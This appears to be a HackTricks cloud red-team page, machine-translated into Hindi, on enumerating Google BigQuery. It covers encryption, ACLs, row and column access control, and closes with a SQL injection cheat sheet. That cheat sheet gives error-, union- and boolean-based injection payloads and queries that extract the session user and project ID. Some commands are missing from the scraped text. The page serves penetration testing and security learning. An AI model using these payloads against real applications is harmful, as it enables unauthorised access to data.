GCP - Bigquery Enum
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Basic Information
Google Cloud BigQuery एक पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस है, जो पेटाबाइट्स के डेटा पर विश्लेषण की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलतापूर्वक संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल देखरेख की आवश्यकता के।
यह ANSI SQL का उपयोग करके क्वेरी करने का समर्थन करता है। मुख्य वस्तुएँ डेटासेट हैं जिनमें टेबल होते हैं जो SQL डेटा को शामिल करते हैं।
Encryption
डिफ़ॉल्ट रूप से एक Google-प्रबंधित एन्क्रिप्शन कुंजी का उपयोग किया जाता है हालांकि इसे ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK) को कॉन्फ़िगर करना संभव है। यह डेटा सेट और डेटा सेट के भीतर एक टेबल के लिए एन्क्रिप्शन कुंजी को निर्दिष्ट करना संभव है।
Expiration
यह डेटासेट में एक समाप्ति समय निर्दिष्ट करना संभव है ताकि इस डेटा सेट में बनाई गई कोई भी नई टेबल निर्धारित संख्या के दिनों के बाद स्वचालित रूप से हटाई जाएगी।
External Sources
Bigquery अन्य Google सेवाओं के साथ गहराई से एकीकृत है। यह बकेट, पब/सब, गूगल ड्राइव, RDS डेटाबेस से डेटा लोड करना संभव बनाता है...
Dataset ACLs
जब एक डेटा सेट बनाया जाता है तो ACLs संलग्न किए जाते हैं ताकि उस पर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे उपयोगकर्ता जो डेटा सेट बनाया है, को स्वामी विशेषाधिकार दिए जाते हैं और फिर स्वामी को समूह projectOwners (परियोजना के मालिक), लेखक को समूह projectWriters, और पाठक को समूह projectReaders को दिया जाता है:
Table Rows Control Access
यह संभव है कि एक प्रिंसिपल द्वारा एक तालिका के अंदर पहुंच योग्य पंक्तियों को नियंत्रित किया जाए पंक्ति पहुंच नीतियों के साथ। ये तालिका के अंदर DDL का उपयोग करके परिभाषित की जाती हैं। पहुंच नीति एक फ़िल्टर को परिभाषित करती है और केवल मिलती-जुलती पंक्तियाँ उस फ़िल्टर के साथ उपलब्ध होंगी जो निर्दिष्ट प्रिंसिपलों द्वारा।
Columns Access Control
कॉलम स्तर पर डेटा एक्सेस को प्रतिबंधित करने के लिए:
एक वर्गीकरण और नीति टैग परिभाषित करें। अपने डेटा के लिए एक वर्गीकरण और नीति टैग बनाएं और प्रबंधित करें। https://console.cloud.google.com/bigquery/policy-tags
वैकल्पिक: एक या अधिक नीति टैग पर एक या अधिक प्रिंसिपल को डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका दें।
अपने BigQuery कॉलम पर नीति टैग असाइन करें। BigQuery में, उन कॉलमों पर नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को प्रतिबंधित करना चाहते हैं।
वर्गीकरण पर एक्सेस नियंत्रण लागू करें। एक्सेस नियंत्रण लागू करने से वर्गीकरण में सभी नीति टैग के लिए परिभाषित एक्सेस प्रतिबंध लागू होते हैं।
नीति टैग पर एक्सेस प्रबंधित करें। प्रत्येक नीति टैग पर एक्सेस को प्रतिबंधित करने के लिए Identity and Access Management (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है।
जब एक उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery कॉलम नीति टैग और इसकी नीति की जांच करता है कि क्या उपयोगकर्ता डेटा तक पहुंचने के लिए अधिकृत है।
सारांश के रूप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को प्रतिबंधित करने के लिए, आप स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को प्रतिबंधित कर सकते हैं, जो टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करता है।
वर्गीकरण पर एक्सेस नियंत्रण लागू करने के लिए सेवा को सक्षम करना आवश्यक है:
यह संभव है कि आप कॉलम के टैग देख सकें:
गणना
BigQuery SQL Injection
अधिक जानकारी के लिए आप ब्लॉग पोस्ट देख सकते हैं: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. यहाँ केवल कुछ विवरण दिए जा रहे हैं।
Comments:
select 1#from here it is not working
select 1/*between those it is not working*/
लेकिन केवल प्रारंभिक एक काम नहीं करेगाselect 1--from here it is not working
environment के बारे में information प्राप्त करें जैसे:
वर्तमान उपयोगकर्ता:
select session_user()
प्रोजेक्ट आईडी:
select @@project_id
पंक्तियों को जोड़ें:
सभी तालिका नाम:
string_agg(table_name, ', ')
datasets, tables और column नाम प्राप्त करें:
Project और dataset नाम:
सभी तालिकाओं के स्तंभ और तालिका नाम जो डेटा सेट में हैं:
एक ही प्रोजेक्ट में अन्य डेटासेट:
SQL Injection प्रकार:
त्रुटि आधारित - कास्टिंग:
select CAST(@@project_id AS INT64)
त्रुटि आधारित - शून्य द्वारा भाग:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
यूनियन आधारित (आपको bigquery में ALL का उपयोग करना होगा):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
बूलियन आधारित:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
संभावित समय आधारित - सार्वजनिक डेटासेट का उपयोग उदाहरण:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
दस्तावेज़ीकरण:
स्क्रिप्टिंग स्टेटमेंट: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
विशेषाधिकार वृद्धि & पोस्ट शोषण
GCP - BigQuery Privescस्थिरता
GCP - BigQuery Persistenceसंदर्भ
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Last updated